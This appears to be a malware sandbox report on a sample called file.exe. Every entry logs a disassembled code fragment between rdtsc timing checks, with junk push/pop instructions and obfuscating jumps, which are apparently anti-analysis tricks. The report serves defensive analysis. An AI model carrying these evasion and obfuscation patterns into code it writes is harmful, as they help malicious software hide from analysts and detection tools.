Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F47B second address: 76F499 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F499 second address: 76F4A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F38EC75ED16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F529 second address: 76F52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F52D second address: 76F55C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007F38EC75ED25h 0x0000000d lea eax, dword ptr [ebp+12481FCFh] 0x00000013 sbb di, 62E8h 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F55C second address: 76F561 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F561 second address: 76F57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F38EC75ED1Dh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F57A second address: 753CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 add dword ptr [ebp+122D32DCh], ecx 0x0000000f lea eax, dword ptr [ebp+12481F8Bh] 0x00000015 pushad 0x00000016 or edx, dword ptr [ebp+122D37DBh] 0x0000001c jmp 00007F38ECB57B9Dh 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 jmp 00007F38ECB57B9Fh 0x0000002c popad 0x0000002d pop eax 0x0000002e mov dword ptr [esp], eax 0x00000031 jmp 00007F38ECB57BA7h 0x00000036 call dword ptr [ebp+122D3482h] 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f pushad 0x00000040 popad 0x00000041 jmp 00007F38ECB57BA2h 0x00000046 pop edi 0x00000047 jne 00007F38ECB57BA4h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE59A second address: 7AE5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F38EC75ED20h 0x0000000b jmp 00007F38EC75ED1Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE73B second address: 7AE743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE743 second address: 7AE747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AECE8 second address: 7AECEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AECEC second address: 7AED03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F38EC75ED1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEE01 second address: 7AEE0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B582A second address: 7B5832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5832 second address: 7B5852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57BA6h 0x00000009 jbe 00007F38ECB57B96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5852 second address: 7B5860 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5860 second address: 7B5864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5864 second address: 7B586A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B586A second address: 7B5870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5870 second address: 7B5876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5876 second address: 7B587A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B587A second address: 7B5884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5884 second address: 7B588A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72665E second address: 726664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726664 second address: 726668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726668 second address: 72666C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8F13 second address: 7B8F3E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38ECB57B9Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a je 00007F38ECB57B96h 0x00000010 pushad 0x00000011 jmp 00007F38ECB57BA8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB8E3 second address: 7BB902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F38EC75ED1Ah 0x0000000b jmp 00007F38EC75ED1Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB902 second address: 7BB917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F38ECB57B96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBB9C second address: 7BBBA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD1E second address: 7BBD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD24 second address: 7BBD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD2A second address: 7BBD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38ECB57B9Fh 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007F38ECB57B9Eh 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBD52 second address: 7BBD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C070C second address: 7C0715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C09BC second address: 7C09C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C09C3 second address: 7C09C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C09C8 second address: 7C09D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C65FD second address: 7C6601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5226 second address: 7C5252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED23h 0x00000009 pushad 0x0000000a jng 00007F38EC75ED1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F38EC75ED16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5252 second address: 7C5260 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F38ECB57B96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5260 second address: 7C5264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EF6E second address: 76EFC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c jne 00007F38ECB57BB2h 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D17E2h], esi 0x00000019 mov ebx, dword ptr [ebp+12481FCAh] 0x0000001f jmp 00007F38ECB57BA1h 0x00000024 add eax, ebx 0x00000026 mov edi, dword ptr [ebp+122D38F3h] 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EFC8 second address: 76EFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EFCC second address: 76F01D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dl, 62h 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F38ECB57B98h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ch, 19h 0x0000002e nop 0x0000002f jmp 00007F38ECB57BA7h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F01D second address: 76F022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C989D second address: 7C98A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C98A1 second address: 7C98BD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F38EC75ED1Ch 0x00000010 je 00007F38EC75ED16h 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C98BD second address: 7C98C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C98C1 second address: 7C98D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F38EC75ED16h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C98D1 second address: 7C98D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9BD9 second address: 7C9BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFB83 second address: 7CFB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFF91 second address: 7CFF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFF9E second address: 7CFFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFA2 second address: 7CFFA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFA6 second address: 7CFFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFAC second address: 7CFFCC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F38EC75ED28h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFCC second address: 7CFFDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFDC second address: 7CFFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFE0 second address: 7CFFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFE6 second address: 7CFFEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D028A second address: 7D0298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F38ECB57B9Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0298 second address: 7D02A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B2E second address: 7D0B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B32 second address: 7D0B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F38EC75ED1Eh 0x0000000e jmp 00007F38EC75ED1Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B54 second address: 7D0B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57B9Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B65 second address: 7D0B77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D10D0 second address: 7D10D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D10D6 second address: 7D10DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D10DA second address: 7D10F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D10F1 second address: 7D1128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F38EC75ED1Fh 0x0000000f jc 00007F38EC75ED2Eh 0x00000015 jmp 00007F38EC75ED26h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1128 second address: 7D112E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D112E second address: 7D1143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1143 second address: 7D1168 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38ECB57BA7h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D13D4 second address: 7D13D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D13D8 second address: 7D13DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D13DE second address: 7D1408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F38EC75ED25h 0x0000000b jg 00007F38EC75ED1Ch 0x00000011 jno 00007F38EC75ED16h 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3BE4 second address: 7D3C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7120 second address: 7D7125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7125 second address: 7D7158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F38ECB57B9Fh 0x00000010 jmp 00007F38ECB57BA1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7410 second address: 7D7416 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7416 second address: 7D7442 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F38ECB57BB2h 0x00000008 jp 00007F38ECB57BA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7442 second address: 7D7448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7590 second address: 7D759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733FCB second address: 733FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F38EC75ED27h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733FEF second address: 733FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5D77 second address: 7E5D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5D7B second address: 7E5D7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5D7F second address: 7E5DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F38EC75ED23h 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007F38EC75ED16h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DAF second address: 7E5DC5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F38ECB57B9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DC5 second address: 7E5DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E6223 second address: 7E624E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jbe 00007F38ECB57B96h 0x0000000c jmp 00007F38ECB57BA3h 0x00000011 jg 00007F38ECB57B96h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E624E second address: 7E6254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
